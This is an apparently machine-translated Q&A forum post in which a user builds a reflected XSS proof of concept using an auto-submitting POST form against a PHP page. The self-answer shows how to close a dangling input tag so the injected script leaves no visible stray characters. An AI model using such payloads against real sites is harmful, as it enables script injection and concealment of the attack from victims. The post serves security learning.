XSS PoC:在 DOM 中隐藏渲染字符

XSS PoC: Hide Rendered Characters in DOM

提问人:FuegoJohnson 提问时间:4/2/2022 更新时间:4/4/2022 访问量:331

问:

我已经开始使用 XSS 来更好地改善我在工作中的安全状况。我已经能够使用重定向的 POST 表单成功利用反射的 XSS 攻击,但我似乎无法删除页面上显示的无关字符。

我已经检查过:

XSS:DOM 中的字符显示

https://security.stackexchange.com/questions/207282/xss-character-showing-in-dom?newreg=61e9890d94d34d0c8818158ba541b117

如何通过XSS在另一个网页上加载javascript?

但这些建议似乎都不适合我。

我的漏洞利用是一种基本形式,利用我配置的 PHP 服务器端脚本回显到 value 属性中:$_POST['username']

<form id=1 method="post" action="http://vulnerable.site.com">
    <input type="hidden" name="username"
    value="&quot;&gt;&lt;script&gt;alert('Hello');&lt;/script&gt;&quot;">
</form>
<script>
    document.getElementById(1).submit();
</script>

未编码:

<form id=1 method="post" action="http://vulnerable.site.com">
    <input type="hidden" name="username"
    value=""><script>alert('Hello');</script>">
</form>
<script>
    document.getElementById(1).submit();
</script>

但这个讨厌的人不会死:">

Extra characters rendered

我试过:

  • 通过添加 OWASP 推荐的附加字符来规避过滤器的几种技术
  • 转义到 - 这会导致语法错误,并且删除前导引号会破坏有效负载。但是,根据上面链接的资源,根据评论似乎是可能的">&quot;&gt;
  • 使用 CSS 选择器隐藏我的攻击有效载荷中的字符(使用开发工具,显示为我认为这可能有效)">#text

我敢肯定这是一件愚蠢的事情,但我错过了什么?这显然是可能的,但我不是一个熟练的 Web 开发人员(因此需要摆弄)。任何反馈或建议将不胜感激!

javascript php html xss 客户端攻击

评论


答:

0赞 FuegoJohnson 4/4/2022 #1

经过几个小时的反复试验,我终于想通了。这个想法是用一个单独的标签关闭悬空标签:

所以之前的有效载荷是:

"><script>alert('Hello');</script>

在PHP脚本解析它之后,它看起来像这样:

<input type="text" name="username" value="">"> <!-- notice the dangling tag -->

添加结束输入标记后,该解决方案奏效了:

"><script>alert('Hello');</script><input type="hidden" value="

PHP解析的输出:

<input type="text" name="username" value=""><script>alert('Hello');</script><input type="hidden" value="">

请注意,以上内容需要经过 HTML 编码才能正常工作。为了可读性,我省略了它。